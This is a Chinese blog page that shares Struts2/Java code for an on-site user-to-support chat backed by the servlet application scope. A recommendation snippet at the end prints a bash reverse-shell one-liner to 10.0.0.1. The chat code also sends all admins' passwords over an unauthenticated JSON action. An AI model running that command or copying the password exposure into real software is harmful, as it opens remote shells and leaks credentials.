java 网站用户在线和客服聊天
注:本文来源于《java 网站用户在线和客服聊天》
这是应用到项目中的一个例子。
实现原理是将信息存储到Application域里面。然后使用Struts2 Action 用json格式的数据进行前后台交互。
截图:
前台用户界面:
后台客服界面:
编辑框采用的Ueditor 可以发送图片表情文字格式、涂鸦。。。。等等!功能十分的强大!
代码部分:
用到了两个Action,分别为用户和管理员服务。
Struts.xml
<!-- 聊天功能实现 -->
<package name="chat" extends="struts-default,json-default">
<!-- 用户发送消息 -->
<action name="chatMessageSend" class="com.shop.chat.MessageAction" method="send">
<result name="success" type="json"></result>
</action> <!-- 用户接受消息 -->
<action name="chatMessageGet" class="com.shop.chat.MessageAction">
<result type="json"></result>
</action> <!-- 管理员获取消息 -->
<action name="adminMessageGet" class="com.shop.chat.AdminMessageAction">
<result name="success" type="json"></result>
</action> <!-- 管理员发送消息到用户 -->
<action name="adminMessageSend" class="com.shop.chat.AdminMessageAction" method="send">
<result type="json"></result>
</action> <!-- 管理员列表 -->
<action name="adminList" class="com.shop.chat.AdminListAction">
<result type="json"></result>
</action> </package>
Java 类:
package com.shop.chat.admin; import java.util.ArrayList;
import java.util.List; import com.shop.bean.Admin; /**
* 存放当前已经登陆的管理员列表
* @author Pan
*
*/
public class AdminList { private List<Admin> list=new ArrayList<Admin>();
public AdminList(){ } /**
* 增加Admin对象
* @param admin
*/
public void save(Admin admin){
if(list.indexOf(admin)==-1){
list.add(admin);
}
} /**
* 得到所有Admin
* @return
*/
public List<Admin> getList(){
return list;
}
}
package com.shop.chat.admin; import java.util.List; import javax.servlet.ServletContext;
import javax.servlet.http.HttpSession; import com.shop.bean.Admin; /**
* admin列表服务
* @author Pan
*
*/
public class AdminListServler { private AdminList list; public AdminListServler(HttpSession session){
ServletContext context=session.getServletContext();
list=(AdminList)context.getAttribute("adminlist");
if(list==null){
list=new AdminList();
context.setAttribute("adminlist", list);
}
}
/**
* add an admin to the list
* @param admin
*/
public void save(Admin admin){
list.save(admin);
} /**
* get all admin object
* @return arraylist
*/
public List<Admin> getList(){
return list.getList();
}
}
package com.shop.chat.admin;
import java.sql.Timestamp;
public class AdminSimplify {
	private Integer id;
	private String adminName;
	private String adminPass;
	private String nickName;
	private String head;
	private Timestamp addTime;
	public Integer getId() {
		return id;
	}
	public void setId(Integer id) {
		this.id = id;
	}
	public String getAdminName() {
		return adminName;
	}
	public void setAdminName(String adminName) {
		this.adminName = adminName;
	}
	public String getAdminPass() {
		return adminPass;
	}
	public void setAdminPass(String adminPass) {
		this.adminPass = adminPass;
	}
	public String getNickName() {
		return nickName;
	}
	public void setNickName(String nickName) {
		this.nickName = nickName;
	}
	public String getHead() {
		return head;
	}
	public void setHead(String head) {
		this.head = head;
	}
	public Timestamp getAddTime() {
		return addTime;
	}
	public void setAddTime(Timestamp addTime) {
		this.addTime = addTime;
	}
}
package com.shop.chat; import java.util.ArrayList;
import java.util.List; import org.apache.struts2.ServletActionContext; import com.opensymphony.xwork2.ActionSupport;
import com.shop.bean.Admin;
import com.shop.chat.admin.AdminListServler;
import com.shop.chat.admin.AdminSimplify; public class AdminListAction extends ActionSupport { private List<AdminSimplify> list; public List<AdminSimplify> getList() {
return list;
}
/**
* 得到当前登陆的管理员
* @return
*/
public String execute(){ list=new ArrayList<AdminSimplify>();
AdminListServler aServler=new AdminListServler(ServletActionContext.getRequest().getSession());
for (Admin admin : aServler.getList()) { AdminSimplify as=new AdminSimplify();
as.setAddTime(admin.getAddTime());
as.setAdminName(admin.getAdminName());
as.setAdminPass(admin.getAdminPass());
as.setHead(admin.getHead());
as.setId(admin.getId());
as.setNickName(admin.getNickName());
list.add(as);
} return SUCCESS;
}
}
package com.shop.chat; import java.util.List; import org.apache.struts2.ServletActionContext; import com.opensymphony.xwork2.ActionSupport;
import com.shop.bean.Admin; public class AdminMessageAction extends ActionSupport { private String to; //接受用户
private String result; //返回消息
private String content; //消息内容
private String nickName; //昵称
public void setNickName(String nickName) {
this.nickName = nickName;
}
public String getNickName() {
return nickName;
}
public void setContent(String content) {
this.content = content;
}
private List<Message> list; public List<Message> getList() {
return list;
} public void setResult(String result) {
this.result = result;
}
public String getResult() {
return result;
}
public void setTo(String to) {
this.to = to;
} public String execute(){
Admin admin=(Admin)ServletActionContext.getRequest().getSession().getAttribute("admin");
if(admin==null){
setResult("你还没有登录!");
return SUCCESS;
}
MessageServer msServer=new MessageServer(ServletActionContext.getRequest().getSession(),admin.getId()+"",admin.getNickName());
list=msServer.getMessage();
return SUCCESS;
} /**
* 发送消息
* @return
*/
public String send(){
Admin admin=(Admin)ServletActionContext.getRequest().getSession().getAttribute("admin");
if(admin==null){
setResult("没有登录");
return SUCCESS;
} MessageServer msServer=new MessageServer(ServletActionContext.getRequest().getSession(), admin.getId()+"",admin.getNickName());
try {
msServer.send(to, content);
setResult("发送成功!");
setNickName(admin.getNickName());
} catch (Exception e) {
// TODO Auto-generated catch block
result=e.getMessage();
}
return SUCCESS;
} }
package com.shop.chat; /**
* 信息容器
* @author Pan
*
*/ public class Message { private String form; // 来自用户
private String to; // 接受用户
private String message; // 信息
private String nickName; //昵称 public void setNickName(String nickName) {
this.nickName = nickName;
}
public String getNickName() {
return nickName;
}
public String getForm() {
return form;
} public void setForm(String form) {
this.form = form;
} public String getTo() {
return to;
} public void setTo(String to) {
this.to = to;
} public String getMessage() {
return message;
} public void setMessage(String message) {
this.message = message;
} }
package com.shop.chat; import java.util.HashMap;
import java.util.List;
import java.util.Map; import javax.servlet.http.HttpServletRequest; import org.apache.struts2.ServletActionContext; import com.opensymphony.xwork2.ActionSupport;
import com.shop.bean.User;
import com.sun.org.apache.bcel.internal.generic.NEW; public class MessageAction extends ActionSupport { private String to; //传送到指定的用户
private String result; //返回信息
private String content; //内容
private String nickName; //昵称
private List<Message> list; //消息集合 public void setNickName(String nickName) {
this.nickName = nickName;
}
public String getNickName() {
return nickName;
}
public void setResult(String result) {
this.result = result;
}
public void setContent(String content) {
this.content = content;
}
public List<Message> getList() {
return list;
}
public String getResult() {
return result;
}
public void setTo(String to) {
this.to = to;
}
/**
* 获取消息
*/
public String execute(){ HttpServletRequest request=ServletActionContext.getRequest();
User user=(User)request.getSession().getAttribute("user");
MessageServer msServer=new MessageServer(request.getSession(), user.getId()+"",user.getNickName());
this.list=msServer.getMessage(); return SUCCESS;
} /**
* 发送消息
* @return
*/
public String send(){ HttpServletRequest request=ServletActionContext.getRequest();
User user=(User)request.getSession().getAttribute("user");
if(user==null){
result="你还没有进行登录!";
return SUCCESS;
}
MessageServer mServer=new MessageServer(request.getSession(),user.getId()+"",user.getNickName());
mServer.getMessage(); try {
mServer.send(to, content); System.out.println("to:"+to);
setNickName(user.getNickName());
setResult("发送成功");
} catch (Exception e) {
setResult("发送失败!");
result=e.getMessage();
}
return SUCCESS;
}
}
package com.shop.chat; import java.util.ArrayList;
import java.util.List; /**
* 信息集合 这个对象储存到Application中
* @author Pan
*
*/
public class MessageList { private List<Message> list=new ArrayList<Message>(); public MessageList(){ } /**
* 添加信息
* @param message
*/
public void add(Message message){
list.add(message);
} /**
* 寻找信息 通过接受的用户
* @param uid
* @return
*/
public List<Message> getByTo(String uid){
List<Message> tmp=new ArrayList<Message>();
System.out.println("list的大小:"+list.size());
for(Message message:list){
if(message.getTo().equals(uid)){
//添加到返回对象
tmp.add(message);
}
}
//然后移除信息 以免信息重复
list.removeAll(tmp);
return tmp;
} }
package com.shop.chat; import java.util.ArrayList;
import java.util.List; import javax.servlet.ServletContext;
import javax.servlet.http.HttpSession; public class MessageServer { private MessageList mList;
private ServletContext context;
private String uid;
private String nickname;
public MessageServer(HttpSession session,String uid,String nickname){ this.context=session.getServletContext(); Object object=context.getAttribute("mlist");
if(object==null){
mList=new MessageList();
context.setAttribute("mlist", mList);
}else {
this.mList=(MessageList)object;
}
this.uid=uid;
this.nickname=nickname;
}
/**
* 发送数据
* @throws Exception
*/
public void send(String to,String content) throws Exception{ if(uid==null){
throw new Exception("用户名id无效");
} Message message=new Message();
message.setForm(uid);
message.setTo(to);
message.setMessage(content);
message.setNickName(this.nickname);
mList.add(message); } /**
* 接受信息
* @return
*/
public List<Message> getMessage(){
//返回当前用户的信息
System.out.println("uid是:"+uid);
return mList.getByTo(uid);
} }
package com.shop.chat.admin; import java.util.ArrayList;
import java.util.List; import com.shop.bean.Admin; /**
* 存放当前已经登陆的管理员列表
* @author Pan
*
*/
public class AdminList { private List<Admin> list=new ArrayList<Admin>();
public AdminList(){ } /**
* 增加Admin对象
* @param admin
*/
public void save(Admin admin){
if(list.indexOf(admin)==-1){
list.add(admin);
}
} /**
* 得到所有Admin
* @return
*/
public List<Admin> getList(){
return list;
}
}
java 网站用户在线和客服聊天的更多相关文章
- JAVA结合WebSocket实现简单客服聊天功能
		
说明:该示例只简单的实现了客服聊天功能. 1.聊天记录没有保存到数据库中,一旦服务重启,消息记录将会没有,如果需要保存到数据库中,可以扩展 2.页面样式用的网上模板,样式可以自己进行修改 3.只能由用 ...
 - 转载 ASP.NET SignalR 与LayIM配合,轻松实现网站客服聊天室(三) 激动人心的时刻到啦,实现1v1聊天
		
ASP.NET SignalR 与LayIM配合,轻松实现网站客服聊天室(三) 激动人心的时刻到啦,实现1v1聊天 看起来挺简单,细节还是很多的,好,接上一篇,我们已经成功连接singalR服务器 ...
 - ASP.NET SignalR 与LayIM配合,轻松实现网站客服聊天室(二) 实现聊天室连接
		
上一篇已经简单介绍了layim WebUI即时通讯组件和获取数据的后台方法.现在要讨论的是SingalR的内容,之前都是直接贴代码.那么在贴代码之前先分析一下业务模型,顺便简单讲一下SingalR里的 ...
 - 转载 ASP.NET SignalR 与LayIM配合,轻松实现网站客服聊天室(一) 整理基础数据
		
ASP.NET SignalR 与LayIM配合,轻松实现网站客服聊天室(一) 整理基础数据 最近碰巧发现一款比较好的Web即时通讯前端组件,layim,百度关键字即可,我下面要做的就是基于这个前 ...
 - ASP.NET SignalR 与LayIM配合,轻松实现网站客服聊天室(四) 添加表情、群聊功能
		
休息了两天,还是决定把这个尾巴给收了.本篇是最后一篇,也算是草草收尾吧.今天要加上表情功能和群聊.基本上就差不多了,其他功能,读者可以自行扩展或者优化.至于我写的代码方面,自己也没去重构.好的,我们开 ...
 - jQuery网页右侧固定层显示隐藏在线qq客服代码
		
CSS代码: @charset "utf-8"; ;;} html,body{font-size:12px;font-family:"微软雅黑";outline ...
 - h5在线1v1客服|web在线客服系统|h5即时聊天
		
网上有很多环信.美恰之类的客服系统,最近也使用h5+css3+fontJs+swiper+wcPop等技术架构开发了一个在线客服(1v1沟通聊天),可以应用到在线临时聊天.在线咨询等情景.实现了消息. ...
 - PHP客服聊天
		
1.基于workman框架 github:https://github.com/walkor/workerman-chat 文档:http://www.workerman.net/gatewaydoc ...
 - iOS:移动端“用户反馈和客服”的几个平台SDK的介绍
		
简单阐述: 用户反馈功能几乎是每个app都有的一个功能点,通过反馈功能实现与用户的连接.沟通,随时随地收集用户意见反馈和Bug报告,即时和用户保持沟通,在一定程度上提升了app的竞争力.而给app评分 ...
 
随机推荐
- shell反射
			
一.介绍 bash反射就是反弹一个交互的shell,类似ssh连接,可以执行命令 二.使用命令 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ...
 - Python——序列化模块
			
#json 模式 1.dumps.loads 方法 针对内存 dic = {'k1':'v1'} #转换成json import json str_d = json.dumps(dic) #序列化 ...
 - 记录腾讯云中矿机病毒处理过程(重装系统了fu*k)
			
刚想学学kafka,登录与服务器看看把,谁知ssh特别慢,很奇怪,我以为是我网速问题,断了wifi,换了网线,通过iterm想要ssh root@x.x.x.x,但是上不去? 就tm的很奇怪了,登录腾 ...
 - 启动jar的方式
			
1.windows server 2008 start "srvRegistry" java -jar srvRegistry-1.0-SNAPSHOT.jar --spring. ...
 - mybatis返回结果封装为map的探索
			
需求 根据课程id 列表,查询每个课程id的总数,放到一个map里 最简单的就是循环遍历,每一个都查询一次网上说mybatis可以返回Map 和 List<Map>两种类型 尝试 直接返回 ...
 - SpringBoot2.0初识
			
核心特性 组件自动装配: Web MVC , Web Flux , JDBC 等 激活: @EnableAutoConfiguration 配置: /META_INF/spring.factories ...
 - Shell入门及实践
			
解释器 解释器是一种命令解释器,主要作用是对命令进行运行和解释,将需要执行的操作传递给操作系统内核并执行 #!/bin/bash(默认),指定解释器 #!/bin/bash #这是第一个shell脚本 ...
 - luogu4705玩游戏
			
题解 我们要对于每个t,求一个(1/mn)sigma(ax+by)^t. 把系数不用管,把其他部分二项式展开一下: simga(ax^r*by^(t-r)*C(t,r)). 把组合数拆开,就变成了一个 ...
 - Linux基本命令总结(七)
			
接上篇: 33,Linux中的kill命令用来终止指定的进程(terminate a process)的运行,是Linux下进程管理的常用命令.通常,终止一个前台进程可以使用Ctrl+C键,但是,对于 ...
 - jq常用操作
			
1. 将滚动条置于底部 var srcH = $(".msg-IOC").prop("scrollHeight");$('.msg-IOC').scrollTo ...